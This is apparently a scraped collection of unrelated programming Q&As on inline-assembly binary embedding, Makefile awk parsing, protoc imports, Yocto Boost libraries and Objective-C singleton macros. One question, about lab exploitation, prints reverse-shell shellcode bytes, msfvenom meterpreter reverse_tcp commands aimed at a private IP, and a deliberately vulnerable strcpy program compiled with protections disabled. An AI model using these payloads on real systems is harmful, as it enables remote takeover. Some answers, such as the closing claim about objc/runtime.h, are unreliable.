I tried to use this trick together to embed a resource into an executable file:
#define INCLUDE_BINARY(identifier,filename) \
asm("\t.data\n" \
"\t.local " #identifier "_begin\n" \
"\t.type " #identifier "_begin, #object\n" \
"\t.align 16\n" \
#identifier "_begin:\n" \
"\t.incbin \"" filename "\"\n\n" \
\
"\t.local " #identifier "_end\n" \
"\t.type " #identifier "_end, #object\n" \
"\t.align 1\n" \
#identifier "_end:\n" \
"\t.byte 0\n"); \
\
extern uint8_t identifier##_begin[];\
extern const uint8_t identifier##_end[]
So that
#include <herbs/include_binary/include_binary.h>
#include <herbs/main/main.h>
#include <cstdio>
INCLUDE_BINARY(source,__FILE__);
int MAIN(int argc,charsys_t* argv[])
{
const uint8_t* begin=source_begin;
while(begin!=source_end)
{
putchar(*begin);
++begin;
}
return 0;
}
will print itself. It works fine until I enable debug symbol generation. Then I get errors:
/tmp/ccCfX7kc.s:103: Error: can't resolve `.data' {.data section} - `.Ltext0' {.text section}
I guess the reason of failure is that -g adds stuff at the beginning of file:
.text
.Ltext0:
Is there a way to add global symbols using inline assembly that does not interfere with debugging? Is asm undefined outside a function body?
You need to restore the section back to .text at the end of the inline asm. You could use .pushsection and .popsection todo so.
Related
There is a version.h file in project, like this:
#ifndef _VERSION_H_
#define _VERSION_H_
#define PROJNAME "Uranium"
#define VERSION "1.0.1"
#endif
And I want to print the project name and version when use make to compile the project.
So I added following makefile:
PROJNAME_KEYWORD = "PROJNAME"
VERSION_KEYWORD = "VERSION"
define GetPropValue
$(shell \
awk '{ \
split($$0, words, " "); \
for (i in words) { \
if (index(words[i], $$(1)) != 0) { \
word = words[i + 1]; \
gsub("\"", "", word); \
print word; \
break; \
} \
} \
}' version.h \
)
endef
ifndef PROJNAME
PROJNAME = $(call GetPropValue, $(PROJNAME_KEYWORD))
endif
ifndef VERSION
VERSION = $(call GetPropValue, $(VERSION_KEYWORD))
endif
it's expected to have this:
PROJNAME = Uranium
VERSION = 1.0.1
But actually I got this,
PROJNAME=_VERSION_H_ _VERSION_H_ PROJNAME VERSION
VERSION=_VERSION_H_ _VERSION_H_ PROJNAME VERSION
After some debugging process, I found $$(1) in
if (index(words[i], $$(1)) != 0) {
line is incorrect,
when I replaced $$(1) with "PROJNAME",
I can get right result,
PROJNAME = Uranium
$$(1) should be arguments, like $(PROJNAME_KEYWORD) from
$(call GetPropValue, $(PROJNAME_KEYWORD))
So in this case, how to write this?
Summary
Since you want to obtain data about macro definitions recorded in a C header file, the most natural tool to apply to the job would be the C preprocessor. So how about skipping the user-defined function altogether, and going with
PROJNAME = $(shell echo PROJNAME | cat version.h - | cpp -P | tr -d '"')
Explanation
You are already assuming GNU's version of make., and its $(shell) function in particular. $(shell) executes a shell command and evaluates to the contents of the command's standard output. In this case, the command executed determines the definition of a preprocessor macro defined in version.h by
concatenating the contents of version.h with a line containing the bare macro name, and
piping the result into the preprocessor. The -P option to the preprocessor suppresses generation of extra output, such as line-number indicators.
The macro definition contains quotation marks that are not part of the value you say you want to assign to your make variable, so the preprocessor output is furthermore piped into tr to strip those.
Demonstration
Given this complete makefile ...
PROJNAME = $(shell echo PROJNAME | cat version.h - | cpp -P | tr -d '"')
demo:
#echo '$(PROJNAME)'
... , and the version.h file presented in the question residing in the same directory, running make or make demo produces this output:
Uranium
I tried another day,
if (index(words[i], $$(1)) != 0) { \
$$(1) is incorrect, should be replaced with $(1),
if (index(words[i], $(1)) != 0) { \
but this cause another problem,
there are lots of error happens when makefile have static check before running,
awk: line 1: syntax error at or near )
awk: line 1: syntax error at or near }
This means static check don't know $(1) it is, might replace with empty but I'm not sure,
to resolve this, add "" before $(1),
so it should be like this,
if (index(words[i], ""$(1)) != 0) { \
it's all right in static check, and $(1) will be replaced with argv[1] properly.
I'm trying to deploy a service which requires google protobuf's Timestamp but I am receiving an error.
gcloud endpoints services deploy api_descriptor.pb api_config.yaml --validate-only
ERROR: (gcloud.endpoints.services.deploy) INVALID_ARGUMENT: Cannot
convert to service config.
'ERROR: unknown location: Unresolved type '.google.protobuf.Timestamp''
my command to generate api_descriptor.pb:
protoc \
--plugin=protoc-gen-go=${GOBIN}/protoc-gen-go \
-I . proto/service.proto \
--descriptor_set_out=api_descriptor.pb \
--go_out=plugins=grpc:. \
relevant bit from proto file which requires google.protobuf.Timestamp:
syntax = "proto3";
package proto;
import "vendor/github.com/golang/protobuf/ptypes/timestamp/timestamp.proto";
message CandleStick {
string ID = 1;
double Open = 2;
double Close = 3;
double High = 4;
double Low = 5;
google.protobuf.Timestamp TimeStamp = 6;
}
Tried for hours unsuccessfully to resolve this issue. Thanks in advance!
In your protoc command line invocation, I think you need to include all the imports in the generated descriptor. You can do this using --include_imports:
protoc \
--plugin=protoc-gen-go=${GOBIN}/protoc-gen-go \
--include_imports \
-I . proto/service.proto \
--descriptor_set_out=api_descriptor.pb \
--go_out=plugins=grpc:. \
I am using this shellcode:
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\xc0\xa8\x0f\x81\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
from http://shell-storm.org/shellcode/files/shellcode-883.php
When I execute the .c program, it works, it receives connection and I can execute commands without any problem.
The problem is when injecting it in a buffer overflow, from the gdb: I receive the connection (which means that shellcode, offset and EIP are allright) and I am using the right IP and PORT, but right away, it just crashes.
I have tried with other shellcodes, with:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00' -f c
and:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00\xff\x09\x0a' -e x86/shikata_ga_nai -f c
And I receive the connection well, but.... right away, it just crashes and can't execute commands.
Mentioning that this is my .c vulnerable code:
#include <string.h>
#include <stdio.h>
void func(char *arg){
char nombre[90];
strcpy(nombre,arg);
printf ("\nBienvenido a Linux Exploiting %s\n\n", nombre);
}
int main (int argc, char *argv[]){
if (argc != 2){
printf ("Uso %s Nombre\n", argv[0]);
exit(0);
}
func(argv[1]);
printf("Fin del programa\n");
return 0;
}
I inject: Shellcode + (102-74 (or -98 with the metasploit payloads))x"A" + RET (I get the addr alright by setting a break after the strcpyand getting where the buffer starts exactly and I know it works, because as I said, I receive the connection (If I change a byte anywhere I don't receive anything).
And I am compiling it with: //gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack -g prog2.c -o prog2
I've installed Yocto 1.6 and run the bitbake to set up the toolchain, following the tutorial written by Daiane Angolini. While I see most of the boost libraries under $SDKTARGETSYSROOT/usr/lib, there seems to be no libboost_log.a nor libboost_log_setup.a. I believe these were introduced with Boost 1.55, and that Yocto 1.6 has moved to Boost 1.55. Shouldn't they be there, or have I done something wrong?
My .../fsl-community-bsp/build/conf/local.conf:
BB_NUMBER_THREADS ?= "${#oe.utils.cpu_count()}"
PARALLEL_MAKE ?= "-j ${#oe.utils.cpu_count()}"
MACHINE ??= 'imx6qsabresd'
DISTRO ?= 'poky'
PACKAGE_CLASSES ?= "package_rpm"
EXTRA_IMAGE_FEATURES = "debug-tweaks tools-sdk"
USER_CLASSES ?= "buildstats image-mklibs image-prelink"
PATCHRESOLVE = "noop"
BB_DISKMON_DIRS = "\
STOPTASKS,${TMPDIR},1G,100K \
STOPTASKS,${DL_DIR},1G,100K \
STOPTASKS,${SSTATE_DIR},1G,100K \
ABORT,${TMPDIR},100M,1K \
ABORT,${DL_DIR},100M,1K \
ABORT,${SSTATE_DIR},100M,1K"
PACKAGECONFIG_pn-qemu-native = "sdl"
PACKAGECONFIG_pn-nativesdk-qemu = "sdl"
ASSUME_PROVIDED += "libsdl-native"
CONF_VERSION = "1"
BB_NUMBER_THREADS = '1'
PARALLEL_MAKE = '-j 1'
DL_DIR ?= "${BSPDIR}/downloads/"
ACCEPT_FSL_EULA = ""
CORE_IMAGE_EXTRA_INSTALL += "boost"
The right way is to extend the existing recipe. In fact, you normally never change a 3rd-party recipe directly. This means, you are creating your own "recipes-support/boost/" folder which includes a file called "boost_%.bbappend".
'%' means that the boost version is not of interest. 'bbappend' means that you extend the existing boost-recipe. This file contains only one line:
BOOST_LIBS += " log"
In order to add log library you should edit boost recipe file.
In this example you should edit boost.inc.
To add log, atomic and loace libraries, replace
BOOST_LIBS = "\
date_time \
filesystem \
graph \
iostreams \
program_options \
regex \
serialization \
signals \
system \
test \
thread \
"
with
BOOST_LIBS = "\
date_time \
filesystem \
graph \
iostreams \
program_options \
regex \
serialization \
signals \
system \
test \
thread \
log \
atomic \
locale
"
I am trying to follow a tutorial for interfacing Game Center, that uses the Apple Documentation and Matt Gallagher's "singleton" document.
However, XCode is emitting polite but vehement protests, lodging its complaints as "Data definition has no type or storage class". In other words, it thinks that SYNTHESIZE_SINGLETON_FOR_CLASS_HEADER(GameCenterManager); is a method declaration lacking a type.
Some StackOverflow archaeology brought to my attention a change to XCode.
However, it lets me quite perplexed. Should I really create, deep inside the compiler settings, two entries, one of which is at least 600 characters long, that basically will contain what currently is inside a nice, neat header file?
Follows the source of said header file, written by Matt Gallagher, which would then go into two places:
#define SYNTHESIZE_SINGLETON_FOR_CLASS_HEADER(__CLASSNAME__) \
\
+ (__CLASSNAME__ *)shared##__CLASSNAME__; \
+ (void)purgeShared##__CLASSNAME__;
and
#define SYNTHESIZE_SINGLETON_FOR_CLASS(classname) \
\
static classname *shared##classname = nil; \
\
+ (classname *)shared##classname \
{ \
#synchronized(self) \
{ \
if (shared##classname == nil) \
{ \
shared##classname = [[self alloc] init]; \
} \
} \
\
return shared##classname; \
} \
\
+ (id)allocWithZone:(NSZone *)zone \
{ \
#synchronized(self) \
{ \
if (shared##classname == nil) \
{ \
shared##classname = [super allocWithZone:zone]; \
return shared##classname; \
} \
} \
\
return nil; \
} \
\
- (id)copyWithZone:(NSZone *)zone \
{ \
return self; \
} \
\
- (id)retain \
{ \
return self; \
} \
\
- (NSUInteger)retainCount \
{ \
return NSUIntegerMax; \
} \
\
- (void)release \
{ \
} \
\
- (id)autorelease \
{ \
return self; \
}
So, where am I mistaken in my understanding?
I added this line into the source file and now it runs fine. As I understand it, if I want to define something I have to use this import to notify the compiler I'm aware of what I'm doing.
#import <objc/runtime.h>
If I'm wrong, feel free to correct me.